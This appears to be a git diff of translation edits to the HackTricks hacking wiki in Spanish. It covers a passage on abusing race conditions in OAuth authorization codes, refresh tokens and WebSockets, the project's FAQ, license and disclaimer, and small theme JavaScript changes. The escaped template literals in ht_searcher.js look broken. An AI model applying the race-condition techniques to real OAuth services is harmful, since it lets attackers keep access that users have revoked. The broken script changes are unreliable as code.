+Así que, hasta aquí es solo un login común con google/linkedin/github... donde se te muestra una página que dice: "_Application \ wants to access you information, do you want to allow it?_"
#### Race Condition in `authorization_code`
-El **problema** aparece cuando **lo aceptas** y automáticamente se envía un **`authorization_code`** a la aplicación maliciosa. Entonces, esta **aplicación abusa de una Race Condition en el proveedor de servicio OAUth para generar más de un AT/RT** (_Authentication Token/Refresh Token_) a partir del **`authorization_code`** de tu cuenta. Básicamente, aprovechará que has aceptado que la aplicación acceda a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT será eliminado, pero los otros seguirán siendo válidos**.
+El **problema** aparece cuando la **aceptas** y se envía automáticamente un **`authorization_code`** a la aplicación maliciosa. Entonces, esta **aplicación abusa de una Race Condition en el OAUth service provider para generar más de un AT/RT** (_Authentication Token/Refresh Token_) a partir del **`authorization_code`** para tu cuenta. Básicamente, aprovechará el hecho de que aceptaste que la aplicación accediera a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT será eliminado, pero los otros seguirán siendo válidos**.
#### Race Condition in `Refresh Token`
-Una vez que hayas **obtenido un RT válido** podrías intentar **abusarlo para generar varios AT/RT** y **aun si el usuario cancela los permisos** para que la aplicación maliciosa acceda a sus datos, **varios RT seguirán siendo válidos.**
+Una vez que has **obtenido un RT válido** podrías intentar **abusar de él para generar varios AT/RT** e **incluso si el usuario cancela los permisos** de la aplicación maliciosa para acceder a sus datos, **varios RT seguirán siendo válidos.**
-## **RC in WebSockets**
+## **RC en WebSockets**
-- En [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) puedes encontrar un PoC en Java para enviar mensajes websocket en **paralelo** y abusar de **Race Conditions** también en Web Sockets.
-- Con WebSocket Turbo Intruder de Burp puedes usar el motor **THREADED** para crear múltiples conexiones WS y disparar payloads en paralelo. Parte del ejemplo oficial y ajusta `config()` (número de hilos) para la concurrencia; esto suele ser más fiable que agrupar en una única conexión cuando se compite por el estado del lado servidor entre handlers WS. Ver [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
+- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) puedes encontrar un PoC en Java para enviar mensajes websocket en **parallel** y abusar de **Race Conditions también en Web Sockets**.
+- Con Burp’s WebSocket Turbo Intruder puedes usar el motor **THREADED** para generar múltiples conexiones WS y disparar payloads en paralelo. Parte del ejemplo oficial y ajusta `config()` (thread count) para la concurrencia; esto suele ser más fiable que agrupar en una sola conexión cuando se compite por el estado del servidor a través de handlers WS. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
-## References
+## Referencias
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md
index 4d6bb0fb0..8f5dad94a 100644
--- a/src/welcome/hacktricks-values-and-faq.md
+++ b/src/welcome/hacktricks-values-and-faq.md
@@ -1,4 +1,4 @@
-# HackTricks Valores & FAQ
+# Valores de HackTricks y FAQ
{{#include ../banners/hacktricks-training.md}}
@@ -7,14 +7,14 @@
> [!TIP]
> Estos son los **valores del Proyecto HackTricks**:
>
-> - Proveer acceso **GRATIS** a recursos **educativos de hacking** para **TODO** Internet.
-> - El hacking trata sobre el aprendizaje, y el aprendizaje debería ser lo más libre posible.
+> - Dar acceso **GRATIS** a recursos **educativos de hacking** a **TODO** Internet.
+> - Hacking trata sobre aprender, y el aprendizaje debería ser lo más libre posible.
> - El propósito de este libro es servir como un **recurso educativo** integral.
-> - **ALMACENAR** increíbles técnicas de **hacking** que la comunidad publica, dando a los **AUTORES** **ORIGINALES** todos los **créditos**.
+> - **ALMACENAR** increíbles **hacking** técnicas que la comunidad publica dando a los **AUTORES** **ORIGINALES** todos los **créditos**.
> - **No queremos el crédito de otras personas**, solo queremos almacenar trucos geniales para todos.
> - También escribimos **nuestras propias investigaciones** en HackTricks.
> - En varios casos solo escribiremos **en HackTricks un resumen de las partes importantes** de la técnica y **animaremos al lector a visitar el post original** para más detalles.
-> - **ORGANIZAR** todas las técnicas de hacking en el libro para que sea **MÁS ACCESIBLE**
+> - **ORGANIZAR** todas las técnicas de **hacking** en el libro para que sea **MÁS ACCESIBLE**
> - El equipo de HackTricks ha dedicado miles de horas de forma gratuita **solo para organizar el contenido** para que la gente pueda **aprender más rápido**
@@ -25,32 +25,32 @@
>
> - **Muchas gracias por estos recursos, ¿cómo puedo agradecerles?**
-Puedes agradecer públicamente a los equipos de HackTricks por recopilar todos estos recursos con un tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
-Si estás especialmente agradecido también puedes [**patrocinar el proyecto aquí**](https://github.com/sponsors/carlospolop).\
-Y no olvides **dar una estrella a los proyectos en GitHub!** (¡Encuentra los enlaces abajo!).
+Puedes agradecer públicamente a los equipos de HackTricks por reunir todos estos recursos públicamente en un tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
+If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
+Y no olvides **dar una estrella en los proyectos de Github!** (Encuentra los enlaces abajo).
> [!TIP]
>
> - **¿Cómo puedo contribuir al proyecto?**
-Puedes **compartir nuevos consejos y trucos con la comunidad o corregir bugs** que encuentres en los libros enviando un **Pull Request** a las páginas respectivas de GitHub:
+Puedes **compartir nuevos consejos y trucos con la comunidad o corregir bugs** que encuentres en los libros enviando un **Pull Request** a las páginas respectivas de Github:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
-¡No olvides **dar una estrella a los proyectos en GitHub!**
+¡No olvides **dar una estrella en los proyectos de Github!**
> [!TIP]
>
> - **¿Puedo copiar contenido de HackTricks y ponerlo en mi blog?**
-Sí, puedes, pero **no olvides mencionar los enlaces específicos** de donde se tomó el contenido.
+Sí, puedes, pero **no olvides mencionar el/los enlace(s) específicos** de donde se tomó el contenido.
> [!TIP]
>
> - **¿Cómo puedo citar una página de HackTricks?**
-Mientras aparezca el enlace **de** la(s) página(s) de donde obtuviste la información, es suficiente.\
+Con tal de que aparezca el enlace **de** la(s) página(s) de donde obtuviste la información, es suficiente.\
Si necesitas un bibtex puedes usar algo como:
```latex
@misc{hacktricks-bibtexing,
@@ -62,7 +62,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
```
> [!WARNING]
>
-> - **¿Puedo copiar todo HackTricks en mi blog?**
+> - **Can I copy all HackTricks in my blog?**
**Preferiría que no**. Eso **no va a beneficiar a nadie** ya que todo el **contenido ya está disponible públicamente** en los libros oficiales de HackTricks de forma gratuita.
@@ -70,74 +70,74 @@ Si temes que vaya a desaparecer, simplemente haz fork en Github o descárgalo; c
> [!WARNING]
>
-> - **¿Por qué tenéis sponsors? ¿Los libros de HackTricks son con fines comerciales?**
+> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
-El primer **valor** de **HackTricks** es ofrecer recursos educativos de hacking **GRATIS** para **TODO** el mundo. El equipo de HackTricks ha **dedicado miles de horas** para ofrecer este contenido, nuevamente, de **GRATIS**.
+El primer **valor** de **HackTricks** es ofrecer recursos educativos de hacking **GRATIS** para **TODO** el mundo. El equipo de HackTricks ha **dedicado miles de horas** para ofrecer este contenido, de nuevo, de forma **GRATIS**.
-Si piensas que los libros de HackTricks se hacen con **fines comerciales**, estás **COMPLETAMENTE EQUIVOCADO**.
+Si piensas que los libros de HackTricks están hechos con **fines comerciales** estás **COMPLETAMENTE EQUIVOCADO**.
-Tenemos sponsors porque, aunque todo el contenido sea **GRATIS**, queremos **ofrecer a la comunidad la posibilidad de valorar nuestro trabajo** si así lo desean. Por ello ofrecemos la opción de donar a HackTricks vía [**Github sponsors**](https://github.com/sponsors/carlospolop), y a **empresas relevantes de ciberseguridad** patrocinar HackTricks y **poner algunos anuncios** en el libro, siendo los **anuncios** siempre colocados en lugares donde sean **visibles** pero **no entorpezcan el proceso de aprendizaje** si alguien se concentra en el contenido.
+Tenemos sponsors porque, aunque todo el contenido sea GRATIS, queremos **ofrecer a la comunidad la posibilidad de valorar nuestro trabajo** si lo desean. Por eso ofrecemos a la gente la opción de donar a HackTricks a través de [**Github sponsors**](https://github.com/sponsors/carlospolop), y a **empresas relevantes de ciberseguridad** patrocinar HackTricks y **tener algunos anuncios** en el libro, colocando los **anuncios** siempre en lugares donde sean **visibles** pero **no interfieran en el proceso de aprendizaje** si alguien se concentra en el contenido.
No encontrarás HackTricks lleno de anuncios molestos como otros blogs con mucho menos contenido que HackTricks, porque HackTricks no está hecho con fines comerciales.
> [!CAUTION]
>
-> - **¿Qué debo hacer si alguna página de HackTricks está basada en mi post del blog pero no está referenciada?**
+> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
-**Lo sentimos mucho. Esto no debería haber ocurrido**. Por favor, háznoslo saber vía Github issues, Twitter, Discord... el enlace de la página de HackTricks con el contenido y el enlace de tu blog y **lo revisaremos y lo añadiremos lo antes posible**.
+**Lo sentimos mucho. Esto no debería haber ocurrido**. Por favor, háznoslo saber mediante Github issues, Twitter, Discord... el enlace de la página de HackTricks con el contenido y el enlace de tu blog y **lo revisaremos y lo añadiremos lo antes posible**.
> [!CAUTION]
>
-> - **¿Qué debo hacer si hay contenido de mi blog en HackTricks y no quiero que esté ahí?**
+> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
Ten en cuenta que tener enlaces a tu página en HackTricks:
- Mejora tu **SEO**
- El contenido se **traduce a más de 15 idiomas**, permitiendo que más personas accedan a este contenido
-- **HackTricks anima** a la gente a **visitar tu página** (varias personas nos han comentado que desde que alguna de sus páginas está en HackTricks reciben más visitas)
+- **HackTricks anima** a la gente a **visitar tu página** (varias personas nos han mencionado que desde que alguna de sus páginas está en HackTricks reciben más visitas)
-Sin embargo, si aún quieres que el contenido de tu blog sea eliminado de HackTricks, simplemente háznoslo saber y definitivamente **eliminaremos todos los enlaces a tu blog**, y cualquier contenido basado en él.
+Sin embargo, si aún quieres que el contenido de tu blog sea eliminado de HackTricks, solo háznoslo saber y definitivamente **eliminaremos todo enlace a tu blog**, y cualquier contenido basado en él.
> [!CAUTION]
>
-> - **¿Qué debo hacer si encuentro contenido copiado y pegado en HackTricks?**
+> - **What should I do if I find copy-pasted content in HackTricks?**
-Siempre **damos todos los créditos a los autores originales**. Si encuentras una página con contenido copiado sin la fuente original referenciada, háznoslo saber y **lo eliminaremos**, **añadiremos el enlace antes del texto**, o **lo reescribiremos añadiendo el enlace**.
+Siempre **damos a los autores originales todos los créditos**. Si encuentras una página con contenido copiado y pegado sin la fuente original referenciada, háznoslo saber y nosotros o bien **la eliminaremos**, **añadiremos el enlace antes del texto**, o **la reescribiremos añadiendo el enlace**.
## LICENCIA
-Copyright © Todos los derechos reservados salvo que se indique lo contrario.
+Copyright © Todos los derechos reservados, salvo que se especifique lo contrario.
#### Resumen de la licencia:
- Atribución: Eres libre de:
- Compartir — copiar y redistribuir el material en cualquier medio o formato.
-- Adaptar — remezclar, transformar y crear a partir del material.
+- Adaptar — remixar, transformar y crear obras derivadas del material.
#### Términos adicionales:
-- Contenido de terceros: Algunas partes de este blog/libro pueden incluir contenido de otras fuentes, como extractos de otros blogs o publicaciones. El uso de dicho contenido se realiza bajo los principios de uso justo (fair use) o con permiso explícito de los respectivos titulares de derechos de autor. Por favor, consulta las fuentes originales para obtener información específica sobre la licencia del contenido de terceros.
-- Autoría: El contenido original creado por HackTricks está sujeto a los términos de esta licencia. Se recomienda atribuir este trabajo al autor al compartirlo o adaptarlo.
+- Contenido de terceros: Algunas partes de este blog/libro pueden incluir contenido de otras fuentes, como extractos de otros blogs o publicaciones. El uso de dicho contenido se realiza bajo los principios de fair use o con permiso explícito de los respectivos titulares de derechos de autor. Por favor, consulta las fuentes originales para información específica sobre licencias respecto al contenido de terceros.
+- Autoría: El contenido original creado por HackTricks está sujeto a los términos de esta licencia. Se recomienda atribuir este trabajo al autor cuando lo compartas o adaptes.
#### Exenciones:
- Uso comercial: Para consultas sobre el uso comercial de este contenido, por favor contáctame.
-Esta licencia no concede ningún derecho sobre marcas comerciales o derechos de branding en relación con el contenido. Todas las marcas comerciales y elementos de branding que aparecen en este blog/libro son propiedad de sus respectivos dueños.
+Esta licencia no concede ningún derecho sobre marcas comerciales o branding en relación con el contenido. Todas las marcas comerciales y el branding que aparecen en este blog/libro son propiedad de sus respectivos dueños.
-**Al acceder o usar HackTricks, aceptas cumplir los términos de esta licencia. Si no estás de acuerdo con estos términos, por favor, no accedas a este sitio web.**
+**Al acceder o usar HackTricks, aceptas cumplir con los términos de esta licencia. Si no estás de acuerdo con estos términos, por favor, no accedas a este sitio web.**
## **Descargo de responsabilidad**
> [!CAUTION]
-> Este libro, 'HackTricks', está destinado únicamente a fines educativos e informativos. El contenido de este libro se proporciona "tal cual", y los autores y editores no hacen declaraciones ni garantías de ningún tipo, expresas o implícitas, sobre la integridad, exactitud, fiabilidad, idoneidad o disponibilidad de la información, productos, servicios o gráficos relacionados contenidos en este libro. Cualquier confianza que usted deposite en dicha información es, por tanto, estrictamente bajo su propia responsabilidad.
+> Este libro, 'HackTricks,' está destinado únicamente a fines educativos e informativos. El contenido de este libro se proporciona 'tal cual', y los autores y editores no hacen representaciones ni garantías de ningún tipo, expresas o implícitas, sobre la totalidad, exactitud, fiabilidad, idoneidad o disponibilidad de la información, productos, servicios o gráficos relacionados contenidos en este libro. Cualquier confianza que deposites en dicha información será, por tanto, estrictamente bajo tu propia responsabilidad.
>
-> Los autores y editores no serán en ningún caso responsables de cualquier pérdida o daño, incluyendo, sin limitación, pérdidas o daños indirectos o consecuentes, o cualquier pérdida o daño que surja de la pérdida de datos o beneficios que surja de, o en conexión con, el uso de este libro.
+> En ningún caso los autores y editores serán responsables de ninguna pérdida o daño, incluyendo sin limitación, pérdidas o daños indirectos o consecuentes, o cualquier pérdida o daño que surja de la pérdida de datos o beneficios derivados de, o en conexión con, el uso de este libro.
>
-> Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no avalan ni apoyan ninguna actividad ilegal o poco ética, y cualquier uso de la información contenida en este libro se realiza bajo el propio riesgo y criterio del usuario.
+> Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no aprueban ni apoyan ninguna actividad ilegal o poco ética, y cualquier uso de la información contenida en este libro corre por cuenta y riesgo del usuario.
>
-> El usuario es el único responsable de cualquier acción tomada basándose en la información contenida en este libro, y siempre debe buscar asesoramiento y asistencia profesional al intentar implementar cualquiera de las técnicas o consejos descritos aquí.
+> El usuario es el único responsable de cualquier acción tomada basándose en la información contenida en este libro, y siempre debe buscar asesoramiento y asistencia profesional al intentar implementar cualquiera de las técnicas o consejos descritos en el mismo.
>
-> Al usar este libro, el usuario acepta liberar a los autores y editores de cualquier y toda responsabilidad por cualquier daño, pérdida o perjuicio que pueda resultar del uso de este libro o de cualquiera de las informaciones contenidas en él.
+> Al usar este libro, el usuario acepta liberar a los autores y editores de cualquier y toda responsabilidad por daños, pérdidas o perjuicios que puedan resultar del uso de este libro o de cualquiera de las informaciones contenidas en el mismo.
{{#include ../banners/hacktricks-training.md}}
diff --git a/theme/ai.js b/theme/ai.js
index 761454181..22e64f5f8 100644
--- a/theme/ai.js
+++ b/theme/ai.js
@@ -491,3 +491,4 @@
handle.addEventListener("touchstart", onStart, { passive: false });
}
})();
+
diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js
index 77f10f607..6b105f263 100644
--- a/theme/ht_searcher.js
+++ b/theme/ht_searcher.js
@@ -68,11 +68,11 @@
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
- const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
- const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
+ const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
+ const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
- const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
- const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
+ const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
+ const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
const indices = [];
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
@@ -208,3 +208,4 @@
listOut.classList.toggle('hidden',!docs.length);
};
})();
+